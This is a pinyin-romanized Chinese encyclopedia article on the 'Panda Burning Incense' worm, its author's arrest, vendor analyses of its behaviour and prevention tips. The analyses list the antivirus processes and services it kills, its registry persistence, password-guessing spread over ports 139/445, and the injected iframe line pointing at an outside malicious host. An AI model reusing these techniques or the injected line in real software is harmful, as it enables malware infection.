| xiǎnshìdìtú | | | | 【 zhù】 yī zhǒng rú chóng bìng dú míng， céng yǐn qǐ qiān wàn tái diàn nǎo xì tǒng tān huàn。 | | 【 xióng māo shāo xiāng 】
shì yì： ① wéi diàn nǎo 'àihào zhě chuàng zào liǎo yī jù xīn wèn hòu yǔ： jīn tiān nǐ shāo liǎo má？ ②“ wēi xiào shā shǒu”， kě 'ài shì tā zuì hǎo de wěi zhuāng， wēn róu de yī dāo cháng cháng ràng rén yòu zá diàn nǎo de chōng dòng。
diǎn gù： yī zhǐ xióng māo ná zhe sān zhī xiāng， zhè gè tú xiàng yī dù lìng diàn nǎo yòng hù dǎn zhàn xīn jīng。 cóng 2006 nián dǐ dào 2007 nián chū，“ xióng māo shāo xiāng ” zài duǎn duǎn shí jiān nèi tōng guò wǎng luò chuán bō quán guó， shù bǎi wàn tái diàn nǎo zhòngdú。 2007 nián 2 yuè，“ xióng māo shāo xiāng ” bìng dú shè jì zhě lǐ jùn guī 'àn， jiāo chū shā bìng dú ruǎn jiàn。 jù lǐ jùn jiāo dài， qí yú 2006 nián 10 yuè 16 rì biān zhì liǎo“ xióng māo shāo xiāng ” bìng dú bìng zài wǎng shàng guǎng fàn chuán bō， hái yǐ zì jǐ chū shòu hé yóu tā rén dài mài de fāng shì， zài wǎng luò shàng jiāng gāi bìng dú xiāo shòu gěi 120 yú rén， fēi fǎ huò lì 10 wàn yú yuán。 9 yuè 24 rì， hú běi shěng xiān táo shì fǎ yuàn yī shěn yǐ pò huài jì suàn jī xìn xī xì tǒng zuì pàn chù lǐ jùn yòu qī tú xíng ４ nián。 zhè shì wǒ guó zhēn pò de guó nèi shǒu lì zhì zuò jì suàn jī bìng dú de dà 'àn。 jù yòu fěng cì yì wèi de shì， lǐ jùn yīn jiù yè wú mén 'ér zhì zào bìng dú yú yǐ fā xiè， àn fā hòu， què yòu shí duō jiā wǎng luò gōng sī yǔ tā lián xì， shèn zhì yòu gōng sī yù yǐ 100 wàn nián xīn yāo qǐng tā jiā méng。
lì jù：①“ xióng māo shāo xiāng ” shì yī gè cǎo gēn chéng míng de jī xíng biāo běn。②“ xióng māo shāo xiāng ” àn dài chū hēi sè bìng dú chǎn yè liàn。
guān lián cí： bìng dú、 lǐ jùn、 hù lián wǎng fàn zuì | | bìng dú míng chēng : xióng māo shāo xiāng ， worm.whboy.（ jīn shān chēng）， worm.nimaya.（ ruì xīng chēng）
bìng dú bié míng： ní mǔ yà， wǔ hàn nán shēng， hòu yòu huà shēn wéi“ jīn zhū bào xǐ”
wēi xiǎn jí bié： ★★★★★
bìng dú lèi xíng： rú chóng bìng dú， néng gòu zhōng zhǐ dà liàng de fǎn bìng dú ruǎn jiàn hé fáng huǒ qiáng ruǎn jiàn jìn chéng。
yǐng xiǎng xì tǒng： win9x/me、 win2000/nt、 winxp、 win2003 | | | qí shí shì yī zhǒng rú chóng bìng dú de biàn zhǒng， ér qiě shì jīng guò duō cì biàn zhǒng 'ér lái de。 ní mǔ yà biàn zhǒng w(worm.nimaya.w)， yóu yú zhòngdú diàn nǎo de kě zhí xíng wén jiàn huì chū xiàn“ xióng māo shāo xiāng ” tú 'àn， suǒ yǐ yě bèi chēng wéi“ xióng māo shāo xiāng ” bìng dú。 yòng hù diàn nǎo zhòngdú hòu kě néng huì chū xiàn lán píng、 pín fán zhòng qǐ yǐ jí xì tǒng yìng pán zhōng shù jù wén jiàn bèi pò huài děng xiàn xiàng。 tóng shí， gāi bìng dú de mǒu xiē biàn zhǒng kě yǐ tōng guò jú yù wǎng jìn xíng chuán bō， jìn 'ér gǎn rǎn jú yù wǎng nèi suǒ yòu jì suàn jī xì tǒng， zuì zhōng dǎo zhì qǐ yè jú yù wǎng tān huàn， wú fǎ zhèng cháng shǐ yòng， tā néng gǎn rǎn xì tǒng zhōng exe， com， pif， src， html， asp děng wén jiàn， tā hái néng zhōng zhǐ dà liàng de fǎn bìng dú ruǎn jiàn jìn chéng bìng qiě huì shān chú kuò zhǎn míng wéi gho de wén jiàn， gāi wén jiàn shì yī xì tǒng bèi fèn gōng jù ghost de bèi fèn wén jiàn， shǐ yòng hù de xì tǒng bèi fèn wén jiàn diū shī。 bèi gǎn rǎn de yòng hù xì tǒng zhōng suǒ yòu .exe kě zhí xíng wén jiàn quán bù bèi gǎi chéng xióng māo jǔ zhe sān gēn xiāng de múyàng。 | | | chú liǎo tōng guò wǎng zhàn dài dú gǎn rǎn yòng hù zhī wài， cǐ bìng dú hái huì zài jú yù wǎng zhōng chuán bō， zài jí duǎn shí jiān zhī nèi jiù kě yǐ gǎn rǎn jǐ qiān tái jì suàn jī， yán zhòng shí kě yǐ dǎo zhì wǎng luò tān huàn。 zhòngdú diàn nǎo shàng huì chū xiàn“ xióng māo shāo xiāng ” tú 'àn， suǒ yǐ yě bèi chēng wéi“ xióng māo shāo xiāng ” bìng dú。 zhòngdú diàn nǎo huì chū xiàn lán píng、 pín fán zhòng qǐ yǐ jí xì tǒng yìng pán zhōng shù jù wén jiàn bèi pò huài děng xiàn xiàng。 | | bìng dú huì shān chú kuò zhǎn míng wéi gho de wén jiàn， shǐ yòng hù wú fǎ shǐ yòng ghost ruǎn jiàn huī fù cāo zuò xì tǒng。“ xióng māo shāo xiāng ” gǎn rǎn xì tǒng
de .exe.com.pif.srcl.asp wén jiàn， tiān jiā bìng dú wǎng zhǐ， dǎo zhì yòng hù yī dǎ kāi zhè xiē wǎng yè wén jiàn， ie jiù huì zì dòng lián jiē dào zhǐ dìng de bìng dú wǎng zhǐ zhōng xià zài bìng dú。 zài yìng pán gè gè fēn qū xià shēng chéng wén jiàn autorun.inf hé setup.exe， kě yǐ tōng guò u pán hé yí dòng yìng pán děng fāng shì jìn xíng chuán bō， bìng qiě lì yòng windows xì tǒng de zì dòng bō fàng gōng néng lái yùn xíng， sōu suǒ yìng pán zhōng de .exe kě zhí xíng wén jiàn bìng gǎn rǎn， gǎn rǎn hòu de wén jiàn tú biāo biàn chéng“ xióng māo shāo xiāng ” tú 'àn。“ xióng māo shāo xiāng ” hái kě yǐ tōng guò gòng xiǎng wén jiàn jiā、 xì tǒng ruò kǒu lìng děng duō zhǒng fāng shì jìn xíng chuán bō。 gāi bìng dú huì zài zhòngdú diàn nǎo zhōng suǒ yòu de wǎng yè wén jiàn wěi bù tiān jiā bìng dú dài mǎ。 yī xiē wǎng zhàn biān ji rén yuán de diàn nǎo rú guǒ bèi gāi bìng dú gǎn rǎn， shàng chuán wǎng yè dào wǎng zhàn hòu， jiù huì dǎo zhì yòng hù liú lǎn zhè xiē wǎng zhàn shí yě bèi bìng dú gǎn rǎn。 jù xī， duō jiā zhù míng wǎng zhàn yǐ jīng zāo dào cǐ lèi gōng jī， ér xiāng jì bèi zhí rù bìng dú。 yóu yú zhè xiē wǎng zhàn de liú lǎn liàng fēi cháng dà， zhì shǐ“ xióng māo shāo xiāng ” bìng dú de gǎn rǎn fàn wéi fēi cháng guǎng， zhòngdú qǐ yè hé zhèng fǔ jī gòu yǐ jīng chāo guò qiān jiā， qí zhōng bù fá jīn róng、 shuì wù、 néng yuán děng guān xì dào guó jì mín shēng de zhòng yào dān wèi。 zhù： jiāng sū děng dì qū chéng wéi“ xióng māo shāo xiāng ” zhòng zāi qū。 | | gè zhǒng bǎn běn de xióng māo shāo xiāng zhuān shā
ruì xīng： http://it.rising.com.cn/channels/service/2006-11/1163505486d38734.shtml
jīn shān： http://tool.duba.net/zhuansha/253.shtml
jiāng mín： http://www.jiangmin.com/download/zhuansha04
chāo jí xún jǐng： http://www.dswlab.com/dow/d2l
lǐ jùn： http://www.xdowns.com/soft/8/21/2007/soft_34735l suī rán yòng hù jí shí gēngxīn shā dú ruǎn jiàn bìng dú kù， bìng xià zài gè shā dú ruǎn jiàn gōng sī tí gōng de zhuān shā gōng jù， jí kě duì“ xióng māo shāo xiāng ” bìng dú jìn xíng chá shā， dàn shì rú guǒ néng zuò dào fáng huàn yú wèi rán qǐ bù gèng hǎo。 | | 【 1】 lì jí jiǎn chá běn jī administrator zǔ chéng yuán kǒu lìng， yī dìng yào fàng qì jiǎn dān kǒu lìng shèn zhì kōng kǒu lìng， ān quán de kǒu lìng shì zì mǔ shù zì tè shū zì fú de zǔ hé， zì jǐ jì dé zhù， bié ràng bìng dú cāi dào jiù xíng。
xiū gǎi fāng fǎ： yòu jiàn dān jī wǒ de diàn nǎo， xuǎn zé guǎn lǐ， liú lǎn dào běn dì yòng hù hé zǔ， zài yòu biān de chuāng gé zhōng， xuǎn zé jù bèi guǎn lǐ yuán quán xiàn de yòng hù míng， dān jī yòu jiàn， xuǎn zé shè zhì mì mǎ， shū rù xīn mì mǎ jiù xíng。
【 2】 lì yòng zǔ cè lüè， guān bì suǒ yòu qū dòng qì de zì dòng bō fàng gōng néng。
bù zhòu： dān jī kāi shǐ， yùn xíng， shū rù gpedit.msc， dǎ kāi zǔ cè lüè biān ji qì， liú lǎn dào jì suàn jī pèi zhì， guǎn lǐ múbǎn， xì tǒng， zài yòu biān de chuāng gé zhòngxuǎn zé guān bì zì dòng bō fàng， gāi pèi zhì quē shěng shì wèi pèi zhì， zài xià lā kuàng zhòngxuǎn zé suǒ yòu qū dòng qì， zài xuǎn qǔ yǐ qǐ yòng， què dìng hòu guān bì。 zuì hòu， zài kāi shǐ， yùn xíng zhōng shū rù gpupdate， què dìng hòu， gāi cè lüè jiù shēng xiào liǎo。
【 3】 xiū gǎi wén jiàn jiā xuǎn xiàng， yǐ chá kàn bù míng wén jiàn de zhēn shí shǔ xìng， bì miǎn wú yì shuāng jī piàn zǐ chéng xù zhòngdú。
bù zhòu： dǎ kāi zī yuán guǎn lǐ qì ( àn windows huī biāo jiàn ＋ e)， diǎn gōng jù cài dān xià wén jiàn jiā xuǎn xiàng， zài diǎn chá kàn， zài gāo jí shè zhì zhōng， xuǎn zé chá kàn suǒ yòu wén jiàn， qǔ xiāo yǐn cáng shòu bǎo hù de cāo zuò xì tǒng wén jiàn， qǔ xiāo yǐn zàngwén jiàn kuò zhǎn míng。
【 4】 shí kè bǎo chí cāo zuò xì tǒng huò dé zuì xīn de 'ān quán gēngxīn， bù yào suí yì fǎng wèn lái yuán bù míng de wǎng zhàn， tè bié shì wēi ruǎn de ms06-014 lòu dòng， yìng lì jí dǎ hǎo gāi lòu dòng bǔ dīng。
tóng shí， qq、 uc de lòu dòng yě kě yǐ bèi gāi bìng dú lì yòng， yīn cǐ， yòng hù yīnggāi qù tā men de guān fāng wǎng zhàn dǎ hǎo zuì xīn bǔ dīng。 cǐ wài， yóu yú gāi bìng dú huì lì yòng ie liú lǎn qì de lòu dòng jìn xíng gōng jī， yīn cǐ yòng hù hái yìng gāi gěi ie dǎ hǎo suǒ yòu de bǔ dīng。 rú guǒ bì yào de huà， yòng hù kě yǐ zàn shí huàn yòng firefox、 opera děng bǐ jiào 'ān quán de liú lǎn qì。
【 5】 qǐ yòng windows fáng huǒ qiáng bǎo hù běn dì jì suàn jī。 tóng shí， jú yù wǎng yòng hù jìn liàng bì miǎn chuàng jiàn kě xiě de gòng xiǎng mù lù， yǐ jīng chuàng jiàn gòng xiǎng mù lù de yìng lì jí tíng zhǐ gòng xiǎng。
cǐ wài， duì yú wèi gǎn rǎn de yòng hù， bìng dú zhuān jiā jiàn yì， bù yào dēng lù bù liáng wǎng zhàn， jí shí xià zài wēi ruǎn gōng bù de zuì xīn bǔ dīng， lái bì miǎn bìng dú lì yòng lòu dòng xí jī yòng hù de diàn nǎo， tóng shí shàng wǎng shí yìng cǎi yòng“ shā dú ruǎn jiàn + fáng huǒ qiáng” de lì tǐ fáng yù tǐ xì。 | | | zhì cǐ， jù bù wán quán tǒng jì， jǐn 12 yuè fèn zhì jīn， biàn zhǒng shù yǐ dá 90 duō gè， gè rén yòng hù gǎn rǎn xióng māo shāo xiāng de yǐ jīng gāo dá jǐ bǎi wàn， qǐ yè yòng hù gǎn rǎn shù hái zài jì xù shàng shēng。 fǎn fáng dú zhuān jiā biǎo shì， bàn suí zhe gè dà shā dú chǎng shāng duì“ xióng māo shāo xiāng ” bìng dú de jí zhōng jiǎo shā， gāi bìng dú zhèng zài bù duàn“ fán yǎn” xīn de biàn zhǒng， mì móu gèng jiā yǐn bì de chuán bō fāng shì。 fǎn bìng dú zhuān jiā jiàn yì， yòng hù bù dǎ kāi kě yí yóu jiàn hé kě yí wǎng zhàn， bù yào suí biàn yùn xíng bù zhī míng chéng xù huò dǎ kāi mò shēng rén yóu jiàn de fù jiàn。 | | wǒ guó pò huò de guó nèi shǒu lì zhì zuò jì suàn jī bìng dú de dà 'àn
[2007 nián 2 yuè 12 rì ] hú běi shěng gōng 'ān tīng 12 rì xuān bù， gēn jù tǒng yī bù shǔ， hú běi wǎng jiān zài zhè jiāng、 shān dōng、 guǎng xī、 tiān jīn、 guǎng dōng、 sì chuān、 jiāng xī、 yún nán、 xīn jiāng、 hé nán děng dì gōng 'ān jī guān de pèi hé xià， yī jǔ zhēn pò liǎo zhì zuò chuán bō“ xióng māo shāo xiāng ” bìng dú 'àn， zhuā huò bìng dú zuò zhě lǐ jùn（ nán， 25 suì， wǔ hàn xīn zhōu qū rén）， tā yú 2006 nián 10 yuè 16 rì biān xiě liǎo“ xióng māo shāo xiāng ” bìng dú bìng zài wǎng shàng guǎng fàn chuán bō， bìng qiě hái yǐ zì jǐ chū shòu hé yóu tā rén dài mài de fāng shì， zài wǎng luò shàng jiāng gāi bìng dú xiāo shòu gěi 120 yú rén， fēi fǎ huò lì 10 wàn yú yuán。
qí tā zhòng yào fàn zuì xián yí rén： léi lěi（ nán， 25 suì， wǔ hàn xīn zhōu qū rén）、 wáng lěi（ nán， 22 suì， shān dōng wēi hǎi rén）、 yè péi xīn（ nán， 21 suì， zhè jiāng wēn zhōu rén）、 zhāng shùn（ nán， 23 suì， zhè jiāng lì shuǐ rén）、 wáng zhé（ nán， 24 suì， hú běi xiān táo rén） tōng guò gǎi xiě、 chuán bō“ xióng māo shāo xiāng ” děng bìng dú， gòu jiàn“ jiāng shī wǎng luò”， tōng guò dào qiè gè zhǒng yóu xì zhàng hào děng fāng shì fēi fǎ móu lì。
zhè shì zhōng guó jìn xiē nián lái， fā shēng bǐ jiào yán zhòng de yī cì rú chóng bìng dú fā zuò。 yǐng xiǎng jiào duō gōng sī， zào chéng jiào dà de sǔn shī。 qiě duì yú yī xiē shū yú fáng fàn de yòng hù lái shuō， gāi bìng dú dǎo zhì jiào wéi yán zhòng de sǔn shī。
yóu yú cǐ bìng dú kě yǐ dào qǔ yòng hù míng yǔ mì mǎ， yīn cǐ， dài yòu míng xiǎn de móu lì mùdì。 suǒ yǐ， zuò zhě cái yòu kě néng jiāng cǐ bìng dú dāng zuò shāng pǐn chū shòu， yǔ yī bān de bìng dú zhì zuò zhě zhǐ shì zì yú zì lè、 huò xiǎn shì wēi lì、 huò xuàn yào jì shù yòu hěn dà de bù tóng。
lìng， zhì zuò zhě lǐ jùn zài bèi bǔ hòu， zài gōng 'ān de jiān shì xià， yòu zài biān xiě jiě dú ruǎn jiàn。 | | “ xióng māo shāo xiāng ” hái kě yǐ tōng guò gòng xiǎng wén jiàn jiā、 xì tǒng ruò kǒu lìng děng duō zhǒng fāng shì jìn xíng chuán bō。
jīn shān fēn xī： zhè shì yī gè gǎn rǎn xíng de rú chóng bìng dú , tā néng gǎn rǎn xì tǒng zhōng exe,com,pif,src,html,asp děng wén jiàn , tā hái néng zhōng zhǐ dà liàng de fǎn bìng dú ruǎn jiàn jìn chéng
1 kǎo bèi wén jiàn
bìng dú yùn xíng hòu , huì bǎ zì jǐ kǎo bèi dào
c:windowssystem32driversspoclsv.exe
2 tiān jiā zhù cè biǎo zì qǐ dòng
bìng dú huì tiān jiā zì qǐ dòng xiàng
hkey_current_usersoftwaremicrosoftwindowscurrentversion
un
svcshare->c:windowssystem32driversspoclsv.exe
3 bìng dú xíng wéi
a: měi gé 1 miǎo
xún zhǎo zhuō miàn chuāng kǒu , bìng guān bì chuāng kǒu biāo tí zhōng hán yòu yǐ xià zì fú de chéng xù
qqkav
qqav
fáng huǒ qiáng
jìn chéng
virusscan
wǎng biāo
shā dú
dú bà
ruì xīng
jiāng mín
huáng shān ie
chāo jí tù zǐ
yōu huà dà shī
mù mǎ kè xīng
mù mǎ qīng dào fū
qq bìng dú
zhù cè biǎo biān ji qì
xì tǒng pèi zhì shí yòng chéng xù
kǎ bā sī jī fǎn bìng dú
symantecantivirus
duba
esteemproces
lǜ yīng pc
mì mǎ fáng dào
shì jūn tǐ
mù mǎ fǔ zhù chá zhǎo qì
systemsafetymonitor
wrappedgiftkiller
winsockexpert
yóu xì mù mǎ jiǎn cè dà shī
msctls_statusbar32
pjf(ustc)
icesword
bìng shǐ yòng de jiàn pán yìng shè de fāng fǎ guān bì 'ān quán ruǎn jiàn icesword
tiān jiā zhù cè biǎo shǐ zì jǐ zì qǐ dòng
hkey_current_usersoftwaremicrosoftwindowscurrentversion
un
svcshare->c:windowssystem32driversspoclsv.exe
bìng zhōng zhǐ xì tǒng zhōng yǐ xià de jìn chéng :
mcshield.exe
vstskmgr.exe
naprdmgr.exe
updaterui.exe
tbmon.exe
scan32.exe
ravmond.exe
ccenter.exe
ravtask.exe
rav.exe
ravmon.exe
ravmond.exe
ravstub.exe
kvxp.kxp
kvmonxp.kxp
kvcenter.kxp
kvsrvxp.exe
kregex.exe
uihost.exe
trojdie.kxp
frogagent.exe
logo1_.exe
logo_1.exe
rundl132.exe
b: měi gé 18 miǎo
diǎn jī bìng dú zuò zhě zhǐ dìng de wǎng yè , bìng yòng mìng lìng xíng jiǎn chá xì tǒng zhōng shì fǒu cún zài gòng xiǎng
gòng cún zài de huà jiù yùn xíng netshare mìng lìng guān bì admin$ gòng xiǎng
c: měi gé 10 miǎo
xià zài bìng dú zuò zhě zhǐ dìng de wén jiàn , bìng yòng mìng lìng xíng jiǎn chá xì tǒng zhōng shì fǒu cún zài gòng xiǎng
gòng cún zài de huà jiù yùn xíng netshare mìng lìng guān bì admin$ gòng xiǎng
d: měi gé 6 miǎo
shān chú 'ān quán ruǎn jiàn zài zhù cè biǎo zhōng de jiàn zhí
hkey_local_machinesoftwaremicrosoftwindowscurrentversion
un
ravtask
kvmonxp
kav
kavpersonal50
mcafeeupdaterui
networkassociateserrorreportingservice
shstartexe
ylive.exe
yassistse
bìng xiū gǎi yǐ xià zhí bù xiǎn shì yǐn cáng wén jiàn
hkey_local_machinesoftwaremicrosoftwindowscurrentversionexploreradvancedfolderhiddenshowall
checkedvalue->0x00
shān chú yǐ xià fú wù :
navapsvc
wscsvc
kpfwsvc
sndsrvc
ccproxy
ccevtmgr
ccsetmgr
spbbcsvc
symanteccorelc
npfmntor
mskservice
firesvc
e: gǎn rǎn wén jiàn
bìng dú huì gǎn rǎn kuò zhǎn míng wéi exe,pif,com,src de wén jiàn , bǎ zì jǐ fù jiā dào wén jiàn de tóu bù
bìng zài kuò zhǎn míng wéi htm,html,asp,php,jsp,aspx de wén jiàn zhōng tiān jiā yī wǎng zhǐ ,
yòng hù yī dàn dǎ kāi liǎo gāi wén jiàn ,ie jiù huì bù duàn de zài hòu tái diǎn jī xiě rù de wǎng zhǐ , dá dào
zēng jiā diǎn jī liàng de mùdì , dàn bìng dú bù huì gǎn rǎn yǐ xià wén jiàn jiā míng zhōng de wén jiàn :
window
winnt
systemvolumeinformation
recycled
windowsnt
windowsupdate
windowsmediaplayer
outlookexpress
internetexplorer
netmeeting
commonfiles
complusapplications
messenger
installshieldinstallationinformation
msn
microsoftfrontpage
moviemaker
msngaminzone
g: shān chú wén jiàn
bìng dú huì shān chú kuò zhǎn míng wéi gho de wén jiàn , gāi wén jiàn shì yī xì tǒng bèi fèn gōng jù ghost de bèi fèn wén jiàn
shǐ yòng hù de xì tǒng bèi fèn wén jiàn diū shī .
ruì xīng zuì xīn bìng dú fēn xī bào gào：“ nimaya（ xióng māo shāo xiāng ）”
zhè shì yī gè chuán rǎn xíng de download shǐ yòng delphi biān xiě | chuán bō duì xiàng hé yùn xíng guò chéng | ★ běn dì cí pán gǎn rǎn
bìng dú duì xì tǒng zhōng suǒ yòu chú liǎo pán fú wéi a,b de cí pán lèi xíng wéi drive_remote,drive_fixed de cí pán jìn xíng wén jiàn biàn lì gǎn rǎn
zhù : bù gǎn rǎn wén jiàn dà xiǎo chāo guò 10485760 zì jié yǐ shàng de .
( bìng dú jiāng bù gǎn rǎn rú xià mù lù de wén jiàn ):
microsoftfrontpage
moviemaker
msngaminzone
commonfiles
windowsnt
recycled
systemvolumeinformation
documentsandsettings
……
( bìng dú jiāng bù gǎn rǎn wén jiàn míng rú xià de wén jiàn ):
setup.exe
ntdetect.com
bìng dú jiāng shǐ yòng liǎng lèi gǎn rǎn fāng shì yìng duì bù tóng hòu zhuì de wén jiàn míng jìn xíng gǎn rǎn
1) èr jìn zhì kě zhí xíng wén jiàn ( hòu zhuì míng wéi :exe,scr,pif,com): jiāng gǎn rǎn mù biāo wén jiàn hé bìng dú róng hé chéng yī gè wén jiàn ( bèi gǎn rǎn wén jiàn tiē zài bìng dú wén jiàn wěi bù ) wán chéng gǎn rǎn .
2) jiǎo běn lèi ( hòu zhuì míng wéi :htm,html,asp,php,jsp,aspx): zài zhè xiē jiǎo běn wén jiàn wěi jiā shàng rú xià liàn jiē ( xià biān de yè miàn cún zài 'ān quán lòu dòng ):
<iframesrc=http://www.krvkr.com/wormwidth=height=0></iframe>
zài gǎn rǎn shí huì shān chú zhè xiē cí pán shàng de hòu zhuì míng wéi .gho
2.★ shēng chéng autorun.inf
bìng dú jiàn lì yī gè jì shí qì yǐ， 6 miǎo wéi zhōu qī zài cí pán de gēn mù lù xià shēng chéng setup.exe( bìng dú běn shēn )autorun.inf bìng lì yòng autorunopen guān lián shǐ bìng dú zài yòng hù diǎn jī bèi gǎn rǎn cí pán shí néng bèi zì dòng yùn xíng。
3.★ jú yù wǎng chuán bō
bìng dú shēng chéng suí jī gè jú yù wǎng chuán bō xiàn chéng shí xiàn rú xià de chuán bō fāng shì：
dāng bìng dú fā xiàn néng chéng gōng lián jiē gōng jī mù biāo de 139 huò 445 duān kǒu hòu， jiāng shǐ yòng nèi zhì de yī gè yòng hù liè biǎo jí mì mǎ zì diǎn jìn xíng lián jiē。（ cāi cè bèi gōng jī duān de mì mǎ） dàngchéng gōng de lián jiē shàng yǐ hòu jiāng zì jǐ fù zhì guò qù bìng lì yòng jìhuà rèn wù qǐ dòng jī huó bìng dú。
xiū gǎi cāo zuò xì tǒng de qǐ dòng guān lián
xià zài wén jiàn qǐ dòng
yǔ shā dú ruǎn jiàn duì kàng | yī xiē bào dào hé píng lùn | “ ‘ liú máng ruǎn jiàn ’ hé bìng dú zhī jiān de jiè xiàn yǐ biàn dé yuè lái yuè mó hú。 wèile dá dào gèng hǎo de chuán bō xiào guǒ， bìng jiǎn shǎo chéng běn， bù shǎo zhōng xiǎo chǎng shāng zhí jiē shǐ yòng bìng dú jìn xíng‘ liú máng tuī guǎng’。” zuó rì， fǎn bìng dú zhuān jiā zhí zhǐ liú máng ruǎn jiàn shì zhè cì“ xióng māo shāo xiāng ” mù hòu hēi shǒu。
jù jiāng mín gōng sī fǎn bìng dú gōng chéng shī chēng， yǐ jīng fā xiàn liǎo jìn qī fēng kuáng sì nüè de“ xióng māo shāo xiāng ” mù hòu shì lì de hén jì，“ xióng māo shāo xiāng ” bìng dú bèi huái yí shì yóu“ chāo jí xún jǐng” ruǎn jiàn de tí gōng fāng zài mù hòu tuī dòng， wǎng shàng yǐ jīng fā xiàn liǎo chǎn xiāo yī tiáo lóng dào qiè xiāo shòu wǎng yóu shè bèi de chǎn yè liàn。
ér cóng ruì xīng jié huò de“ xióng māo shāo xiāng (worm.nimaya)” yàng běn jìn xíng fēn xī， yě yòu bù shǎo biàn zhǒng yùn xíng hòu huì qù cóng wǎng shàng xià zài dào qǔ“ jiāng hú”、“ dà huà xī yóu”、“ mó shòu” děng wǎng luò yóu xì zhàng hào de mù mǎ。 yòng hù de jì suàn jī yī dàn bèi gǎn rǎn zhè xiē mù mǎ， yóu xì de zhàng hào、 zhuāng bèi děng jiù huì bèi hēi kè qiè qǔ。 hēi kè tōng guò zài wǎng shàng dǎo mài wǎng yóu zhàng hào、 zhuāng bèi děng huò lì。
liú máng ruǎn jiàn fēn huà： bù fēn“ xǐ bái” bù fēn bìng dú huà。 quán mín fàn wéi nèi de tǎo fá shǐ liú máng ruǎn jiàn kāi shǐ chū xiàn“ fēn huà”。
běi jīng ruì xīng gǔ fèn yòu xiàn gōng sī fǎn bìng dú gōng chéng shī shǐ yǔ xiàng《 měi rì jīng jì xīn wén》 biǎo shì， pò yú jì shù hé yú lùn de yā lì， zhì zuò liú máng ruǎn jiàn de chǎng shāng kāi shǐ liǎng jí fēn huà。 yī xiē dà pái hù lián wǎng chǎng shāng zhú jiàn“ xǐ bái”， jiāng ruǎn jiàn de“ liú máng” chéng dù jiàng dī， hái yòu yī xiē chǎng shāng gān cuì fàng qì tuī guǎng“ liú máng ruǎn jiàn”。 rán 'ér， réng yòu dà liàng de zhōng xiǎo chǎng shāng shì tōng guò“ liú máng ruǎn jiàn” qǐ jiā de， tōng guò“ liú máng ruǎn jiàn” jìn xíng guǎng gào tuī guǎng yǐ jīng chéng wéi qí gōng sī zhù yào shèn zhì shì wéi yī de shōu rù lái yuán。 2006 nián xià bàn nián kāi shǐ， yī xiē chǎng shāng wèile shēng cún， bù xī dìng 'ér zǒu xiǎn， shǐ yòng gèng jiā bēi liè de shǒu duàn jìn xíng liú máng tuī guǎng， bìng qiě cǎi yòng gèng jiā 'è dú de jì shù gōng rán xiàng fǎn bìng dú ruǎn jiàn、 fǎn liú máng ruǎn jiàn gōng jù tiǎo zhàn。
jù ruì xīng gōng sī kè hù fú wù zhōng xīn de tǒng jì shù jù biǎo míng， cóng 2006 nián 6 yuè kāi shǐ， yòng hù jì suàn jī yóu yú liú máng ruǎn jiàn wèn tí dǎo zhì bēng kuì de qiú zhù shù liàng yǐ jīng chāo guò liǎo bìng dú。
jù zhuān jiā jiè shào， zhè yī shí qī de“ liú máng ruǎn jiàn” yòu liǎng dà tè diǎn： yī shì biān xiě bìng dú huà。 bù shǎo“ liú máng ruǎn jiàn” wèile fáng zhǐ bèi shā dú ruǎn jiàn huò liú máng ruǎn jiàn xiè zài gōng jù fā xiàn， cǎi yòng liǎo bìng dú cháng yòng de rootkit jì shù jìn xíng zì wǒ bǎo hù。 rootkit kě yǐ duì zì shēn jí zhǐ dìng de wén jiàn jìn xíng yǐn cáng huò suǒ dìng， fáng zhǐ bèi fā xiàn hé shān chú。 dài yòu rootkit de“ liú máng ruǎn jiàn” jiù xiàng liàn jiù liǎo“ jīn zhōng zhào”、“ tiě bù shān”， bù chú qù zhè céng bǎo hù gēn běn nán shāng qí háo fā。 gèng yòu yī xiē liú máng ruǎn jiàn， cǎi yòng“ zì shā shì” jì shù gōng jī shā dú ruǎn jiàn。 yī dàn fā xiàn yòng hù 'ān zhuāng huò yùn xíng shā dú ruǎn jiàn， biàn yùn xíng 'è yì dài mǎ， zhí jiē zào chéng jì suàn jī sǐ jī、 lán píng， ràng yòng hù wù yǐ wéi shì shā dú ruǎn jiàn cún zài wèn tí。
èr shì chuán bō bìng dú huà。 wèile dá dào gèng hǎo de chuán bō xiào guǒ， bìng jiǎn xiǎo chéng běn， bù shǎo zhōng xiǎo chǎng shāng zhí jiē shǐ yòng bìng dú jìn xíng“ liú máng tuī guǎng”。 yòng hù de jì suàn jī gǎn rǎn bìng dú hòu， bìng dú huì zì dòng zài hòu tái yùn xíng， xià zài bìng 'ān zhuāng“ liú máng ruǎn jiàn”。 tóng shí，“ liú máng ruǎn jiàn” ān zhuāng hòu yě huì qù cóng hù lián wǎng zì dòng xià zài yùn xíng bìng dú。 dà liàng de“ liú máng ruǎn jiàn” kāi shǐ shǐ yòng diàn nǎo bìng dú lái yǐn cáng zì shēn、 jìn xíng kuài sù chuán bō、 bìng duì kàng yòng hù de qīng chú děng， zhè xiē xíng wéi yán zhòng wēi hài dào yòng hù de xìn xī 'ān quán hé lì yì。“ liú máng ruǎn jiàn” hé bìng dú zhī jiān de jiè xiàn yǐ biàn dé yuè lái yuè mó hú。 suí zhe“ liú máng ruǎn jiàn” bù duàn cháo zhe bìng dú de fāng xiàng fā zhǎn， yào xiǎng chè dǐ shā miè“ liú máng ruǎn jiàn” jiù bì xū cǎi yòng fǎn bìng dú jì shù。
lì yì qū shǐ liú máng ruǎn jiàn zhì zào“ xióng māo shāo xiāng ”？
shǐ yǔ biǎo shì， 2006 nián 11 yuè 14 rì， ruì xīng fā bù liú máng ruǎn jiàn zhuān yòng qīng chú gōng jù héng héng héng kǎ kǎ shàng wǎng 'ān quán zhù shǒu 3.0， shǒu cì jiāng fǎn bìng dú jì shù yìng yòng yú fǎn liú máng ruǎn jiàn dāng zhōng。 jiù zài kǎ kǎ gāng gāng fā bù 24 xiǎo shí， jiù yòu yī gè míng wéi“ my123” de 'è yì chéng xù dǐng fēng zuò 'àn， fēng kuáng cǎi yòng bìng dú huà de biān xiě jì shù lái táo bì kǎ kǎ de zhuī shā， suí hòu yòu chū xiàn liǎo míng wéi“ 3448.com” hé“ 7939.com” liǎng gè liú máng ruǎn jiàn， tā men suǒ dìng yòng hù liú lǎn qì de shǒu yè yǐ tí gāo qí wǎng zhàn fǎng wèn liàng。
